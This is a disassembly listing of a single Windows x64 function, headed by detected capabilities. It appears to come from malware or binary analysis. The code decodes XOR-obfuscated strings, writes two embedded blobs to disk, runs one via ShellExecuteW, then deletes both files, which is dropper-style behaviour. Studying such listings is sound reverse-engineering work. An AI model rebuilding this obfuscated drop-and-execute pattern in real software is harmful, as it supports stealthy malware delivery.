Function at 0x14000a820
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x1400fbb78]
xor rax, rsp
mov qword [rbp + 0x18], rax
xor r14d, r14d
lea ecx, [r14 + 0x2e]
xor edx, edx
call fcn.1400056c0
movzx edi, ax
mov word [rbp - 0x68], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x72]
call fcn.1400056c0
mov word [rbp - 0x66], ax
lea ecx, [r14 + 0x79]
lea edx, [rcx - 0x77]
call fcn.1400056c0
mov word [rbp - 0x64], ax
lea ecx, [r14 + 0x73]
lea edx, [rcx - 0x70]
call fcn.1400056c0
mov word [rbp - 0x62], ax
xor ecx, ecx
lea edx, [rcx + 4]
call fcn.1400056c0
movzx esi, ax
mov word [rbp - 0x60], ax
lea edx, [r14 + 5]
movzx ecx, word [0x14008fd4a]
call fcn.1400056c0
mov word [rbp - 0x5e], ax
lea edx, [r14 + 6]
movzx ecx, word [0x14008fd4c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
lea edx, [r14 + 7]
movzx ecx, word [0x14008fd4e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
lea edx, [r14 + 8]
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.1400056c0
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
mov r15d, 0x133
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000a910
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], r14
mov qword [rbp + 0x10], r14
lea rax, [rbp - 0x68]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x14000a950
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.140003590
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x28]
call fcn.14000a1b0
nop
mov word [rbp - 0x68], di
mov ecx, 0x65
lea edx, [rcx - 0x64]
call fcn.1400056c0
mov word [rbp - 0x66], ax
mov ecx, 0x78
lea edx, [rcx - 0x76]
call fcn.1400056c0
mov word [rbp - 0x64], ax
mov ecx, 0x65
lea edx, [rcx - 0x62]
call fcn.1400056c0
mov word [rbp - 0x62], ax
mov word [rbp - 0x60], si
mov edx, 5
movzx ecx, word [0x14008fd5a]
call fcn.1400056c0
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008fd5c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008fd5e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_45]
call fcn.1400056c0
mov word [rbp - 0x58], ax
xor eax, eax
mov word [rbp - 0x56], ax
mov edx, r14d
nop dword [rax]
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 9
jb 0x14000aa10
mov word [rbp - 0x56], r14w
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], r14
lea rax, [rbp - 0x68]
mov r8, rbx
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14000aa50
lea rdx, [rbp - 0x68]
lea rcx, [rsp + 0x58]
call fcn.140003590
lea rdx, [rsp + 0x58]
lea rcx, [rbp - 0x48]
call fcn.14000a1b0
nop
mov ecx, reloc.WLDAP32.dll_Ordinal_45
xor edx, edx
call fcn.1400056c0
mov word [rbp - 0x68], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.1400056c0
mov word [rbp - 0x66], ax
mov ecx, 0x61
lea edx, [rcx - 0x5f]
call fcn.1400056c0
mov word [rbp - 0x64], ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
lea edx, [rcx - 0x6d]
call fcn.1400056c0
mov word [rbp - 0x62], ax
mov ecx, reloc.WLDAP32.dll_Ordinal_32
lea edx, [rcx - 0x1c]
call fcn.1400056c0
mov word [rbp - 0x60], ax
xor ecx, ecx
lea edx, [rcx + 5]
call fcn.1400056c0
mov word [rsp + 0x40], ax
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008fd6c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008fd6e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [0x14008fd70]
call fcn.1400056c0
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSACleanup]
call fcn.1400056c0
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x14008fd74]
call fcn.1400056c0
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r14d
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r15 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000ab51
mov word [rbp - 0x52], r14w
lea rax, [rbp - 0x68]
inc rbx
cmp word [rax + rbx*2], 0
jne 0x14000ab73
mov r12, qword [rbp - 0x18]
movabs rdi, 0x7ffffffffffffffe
mov rax, rdi
sub rax, r12
cmp rax, rbx
jb 0x14000b1bc
lea r13, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r13, qword [rbp - 0x28]
xorps xmm0, xmm0
movups xmmword [rbp - 8], xmm0
lea r15, [r12 + rbx]
mov esi, 7
lea r14, [rbp - 8]
cmp r15, rsi
jbe 0x14000abf3
mov rsi, r15
or rsi, 7
cmp rsi, rdi
jbe 0x14000abd2
mov rsi, rdi
jmp 0x14000abdf
cmp rsi, 0xa
mov eax, 0xa
cmovb rsi, rax
lea rdx, [rsi + 1]
lea rcx, [rbp - 8]
call fcn.140008a80
mov r14, rax
mov qword [rbp - 8], rax
mov qword [rbp + 8], r15
mov qword [rbp + 0x10], rsi
add rbx, rbx
mov r8, rbx
lea rdx, [rbp - 0x68]
mov rcx, r14
call fcn.14005f3c0
lea rcx, [rbx + r14]
lea r8, [r12 + r12]
mov rdx, r13
call fcn.14005f3c0
xor r12d, r12d
mov word [r14 + r15*2], r12w
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x18]
lea r14, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae r14, qword [rbp - 0x28]
cmp rsi, rdi
ja 0x14000b1c2
mov qword [rbp - 0x50], 7
cmp rsi, 8
jae 0x14000aca7
mov qword [rbp - 0x58], rsi
lea r8d, [r12 + 0x10]
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.14005f3c0
jmp 0x14000acf1
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000acb8
mov rbx, rdi
jmp 0x14000acc5
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.140008a80
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005f3c0
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000ad67
cmp rbx, 0xffffffffffffffff
je 0x14000ad67
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x2400
lea rdx, [0x1400b8500]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.140008970
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], r12
mov rsi, qword [rbp - 0x38]
lea r14, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae r14, qword [rbp - 0x48]
cmp rsi, rdi
ja 0x14000b1c8
mov qword [rbp - 0x50], 7
cmp rsi, 8
jae 0x14000adc0
mov qword [rbp - 0x58], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rbp - 0x68]
call fcn.14005f3c0
jmp 0x14000ae0a
mov rbx, rsi
or rbx, 7
cmp rbx, rdi
jbe 0x14000add1
mov rbx, rdi
jmp 0x14000adde
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rdx, [rbx + 1]
lea rcx, [rbp - 0x68]
call fcn.140008a80
mov qword [rbp - 0x68], rax
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rbx
lea r8, [rsi*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005f3c0
mov dword [rsp + 0x50], r12d
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000ae80
cmp rbx, 0xffffffffffffffff
je 0x14000ae80
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x50]
mov r8d, 0x41200
lea rdx, [0x1400ba900]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp - 0x68]
call fcn.140008970
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r12
lea r14, [rbp - 8]
mov rsi, qword [rbp - 8]
mov r15, qword [rbp + 0x10]
cmp r15, 8
cmovae r14, rsi
mov rbx, qword [rbp + 8]
cmp rbx, rdi
ja 0x14000b1ce
mov qword [rsp + 0x70], 7
cmp rbx, 8
jae 0x14000aeef
mov qword [rsp + 0x68], rbx
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.14005f3c0
jmp 0x14000af3c
mov rax, rbx
or rax, 7
cmp rax, rdi
ja 0x14000af0b
mov rdi, rax
cmp rax, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x58]
call fcn.140008a80
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rdi
lea r8, [rbx*2 + 2]
mov rdx, r14
mov rcx, rax
call fcn.14005f3c0
nop
lea rdx, [rbp - 0x48]
lea rcx, [rsp + 0x78]
call fcn.140004170
mov rbx, rax
lea rdi, [rsp + 0x58]
cmp qword [rsp + 0x70], 8
cmovae rdi, qword [rsp + 0x58]
mov r14, rax
cmp qword [rax + 0x18], 8
jb 0x14000af6b
mov r14, qword [rax]
mov ecx, WSACleanup
xor edx, edx
call fcn.1400056c0
mov word [rbp - 0x68], ax
mov ecx, 0x75
lea edx, [rcx - 0x74]
call fcn.1400056c0
mov word [rbp - 0x66], ax
mov ecx, WSASetLastError
lea edx, [rcx - 0x6c]
call fcn.1400056c0
mov word [rbp - 0x64], ax
mov ecx, 0x61
lea edx, [rcx - 0x5e]
call fcn.1400056c0
mov word [rbp - 0x62], ax
mov ecx, reloc.WS2_32.dll_WSAStartup
lea edx, [rcx - 0x6f]
call fcn.1400056c0
mov word [rbp - 0x60], ax
movzx eax, word [rsp + 0x40]
mov word [rbp - 0x5e], ax
mov edx, 6
movzx ecx, word [0x14008fd3c]
call fcn.1400056c0
mov word [rbp - 0x5c], ax
mov edx, 7
movzx ecx, word [0x14008fd3e]
call fcn.1400056c0
mov word [rbp - 0x5a], ax
mov edx, 8
movzx ecx, word [reloc.WLDAP32.dll_Ordinal_46]
call fcn.1400056c0
mov word [rbp - 0x58], ax
mov edx, 9
movzx ecx, word [reloc.WS2_32.dll_WSAStartup]
call fcn.1400056c0
mov word [rbp - 0x56], ax
mov edx, 0xa
movzx ecx, word [0x14008fd44]
call fcn.1400056c0
mov word [rbp - 0x54], ax
xor eax, eax
mov word [rbp - 0x52], ax
mov edx, r12d
mov r8d, 0x133
movsxd rax, edx
lea rcx, [rbp - 0x68]
lea rcx, [rcx + rax*2]
lea eax, [r8 + rdx]
xor word [rcx], ax
inc edx
cmp edx, 0xb
jb 0x14000b040
mov word [rbp - 0x52], r12w
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov r9, rdi
mov r8, r14
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbx
call fcn.140008970
lea rcx, [rsp + 0x58]
call fcn.140008970
mov ecx, 0x1770
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x28]
cmp qword [rbp - 0x10], 8
cmovae rcx, qword [rbp - 0x28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp - 0x48]
cmp qword [rbp - 0x30], 8
cmovae rcx, qword [rbp - 0x48]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp r15, 8
jb 0x14000b0fc
lea rdx, [r15*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x14000b0f3
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1d4
mov rcx, rsi
call fcn.1400128a8
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x14000b13c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b137
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1da
call fcn.1400128a8
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x14000b189
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b184
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000b1b6
call fcn.1400128a8
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140012950
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140064f94
nop
call fcn.1400025c0
nop
call fcn.1400025c0
int3
call fcn.1400025c0
int3
call fcn.1400025c0
nop
call fcn.140064f94
nop
call fcn.140064f94
int3